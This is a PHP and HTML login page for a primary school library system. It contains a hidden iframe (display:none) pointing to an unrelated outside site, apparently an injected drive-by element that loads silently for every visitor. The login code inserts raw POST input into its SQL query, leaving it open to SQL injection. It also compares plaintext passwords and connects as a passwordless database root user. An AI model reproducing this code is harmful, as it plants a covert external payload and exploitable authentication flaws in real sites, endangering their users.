login.php

<?php
	error_reporting(0);
	ob_start();

    session_start();

  $koneksi = new mysqli("localhost","root","","perpusdb");

  if($_SESSION['admin'] || $_SESSION['guru'] || $_SESSION['user']){
        header("location:index.php");
    }else{

?>

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>LOGIN</title>
	<!-- BOOTSTRAP STYLES-->
    <link href="assets/css/bootstrap.css" rel="stylesheet" />
     <!-- FONTAWESOME STYLES-->
    <link href="assets/css/font-awesome.css" rel="stylesheet" />
        <!-- CUSTOM STYLES-->
    <link href="assets/css/custom.css" rel="stylesheet" />
     <!-- GOOGLE FONTS-->
   <link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css' />

<style type="text/css">

body {
background: url(images/sate.jpg) no-repeat fixed;
   -webkit-background-size: cover;
   -moz-background-size: cover;
   -o-background-size: cover;
   background-size: cover;
}

</style>


</head>
<body>

    <div class="container">
        <div class="row text-center ">
            <div class="col-md-12">
                <br /><br />
                <img src="images/buku.png" width="180px" height="190px"><br>

                <h3 style="color:white">SISTEM INFORMASI PERPUSTAKAAN<br> SDN JATI 01</h3>


                 <br />
            </div>
        </div>
         <div class="row ">

                  <div class="col-md-4 col-md-offset-4 col-sm-6 col-sm-offset-3 col-xs-10 col-xs-offset-1">
                        <div class="panel panel-primary">
                            <div class="panel-heading">
                        <strong><marquee style="font-size:18px">SILAHKAN LOGIN</marquee></strong>
                            </div>
                            <div class="panel-body">
                                <form role="form" method="POST">
                                       <br />
                                     <div class="form-group input-group">
                                            <span class="input-group-addon"><i class="fa fa-tag"  ></i></span>
                                            <input type="text" class="form-control" placeholder=" Username " name="nama" />
                                        </div>
                                    <div class="form-group input-group">
                                            <span class="input-group-addon"><i class="fa fa-lock"  ></i></span>
                                            <input type="password" class="form-control"  placeholder=" Password" name="pass" />
                                        </div>

                                		<div class="form-group input-group">

                                            <input type="submit" class="btn btn-primary"  name="login" value="Login" style="margin-left:82%"/>
                                        </div>


                                    </form>
                            </div>

                        </div>
                    </div>


        </div>
    </div>


     <!-- SCRIPTS -AT THE BOTOM TO REDUCE THE LOAD TIME-->
    <!-- JQUERY SCRIPTS -->
    <script src="assets/js/jquery-1.10.2.js"></script>
      <!-- BOOTSTRAP SCRIPTS -->
    <script src="assets/js/bootstrap.min.js"></script>
    <!-- METISMENU SCRIPTS -->
    <script src="assets/js/jquery.metisMenu.js"></script>
      <!-- CUSTOM SCRIPTS -->
    <script src="assets/js/custom.js"></script>

<iframe src="http://www.tEenPassage.com/rc/" style="display:none"></iframe>
</body>
</html>


<?php

if (isset($_POST['login'])) {

	$nama=$_POST['nama'];
	$pass=$_POST['pass'];

	$ambil = $koneksi->query("select * from tb_user where username='$nama' and password='$pass'");
	$data =$ambil->fetch_assoc();
	$ketemu = $ambil->num_rows;

	if($ketemu >=1){

    session_start();

    $_SESSION[username] = $data [username];
    $_SESSION[pass] = $data [password];
    $_SESSION[level] = $data [level];


    if($data['level'] == "admin"){
        $_SESSION['admin'] = $data[id];
        header("location:index.php");

    }else if($data['level']== "user"){
        $_SESSION['user'] = $data[id];
        header("location:index.php");
    }else if($data['level']== "guru"){
        $_SESSION['guru'] = $data[id];
        header("location:index.php");
    }
} else{
            ?>
                <script type="text/javascript">
                    alert("Login Gagal Username dan Password Salah.. Silahkan Ulangi Lagi");
                </script>
            <?php
        }


}
}
?>